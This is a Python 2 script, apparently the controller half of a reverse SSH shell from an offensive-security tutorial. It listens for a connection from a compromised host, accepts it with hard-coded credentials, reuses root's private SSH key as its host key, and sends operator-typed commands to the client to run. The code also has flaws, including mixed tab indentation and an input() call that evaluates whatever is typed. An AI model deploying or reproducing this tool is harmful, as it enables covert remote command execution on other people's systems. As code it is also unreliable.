#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import paramiko
import threading
import sys
 
# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
 
class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
			 return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'qing') and (password == 'qing'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED


def main():
 
    server = sys.argv[1]
    ssh_port = int(sys.argv[2])
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #TCP socket
        #这里value设置为1，表示将SO_REUSEADDR标记为TRUE，操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口，否则操作系统会保留几分钟该端口。
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind((server, ssh_port))   #绑定ip和端口
        sock.listen(100)    #最大连接数为100
        print('[+] Listening for connection ...')
        client, addr = sock.accept()
    except Exception, e:
        print('[-] Listen failed: ' + str(e))
        sys.exit(1)
    print('[+] Got a connection!')
     
    try:
        bhSession = paramiko.Transport(client)
        bhSession.add_server_key(host_key)
        server = Server()
        try:
            bhSession.start_server(server=server)
        except paramiko.SSHException, x:
            print('[-] SSH negotiation failed')
        chan = bhSession.accept(20) #设置超时值为20
        print('[+] Authenticated!')
        print chan.recv(1024)
        chan.send("Welcome to bh_ssh")
        while True:
            try:
                command = input("Enter command:").strip("\n")   #strip移除字符串头尾指定的字符（默认为空格）,这里是换行
                if command != 'exit':
                    chan.send(command)
                    print chan.recv(1024) + '\n'
                else:
                    chan.send('exit')
                    print('exiting')
                    bhSession.close()
                    raise Exception('exit')
            except KeyboardInterrupt:
                bhSession.close()
    except Exception, e:
        print('[-] Caught exception: ' + str(e))
        try:
            bhSession.close()
        except:
            pass
        sys.exit(1)


if __name__ == '__main__':
    main()
    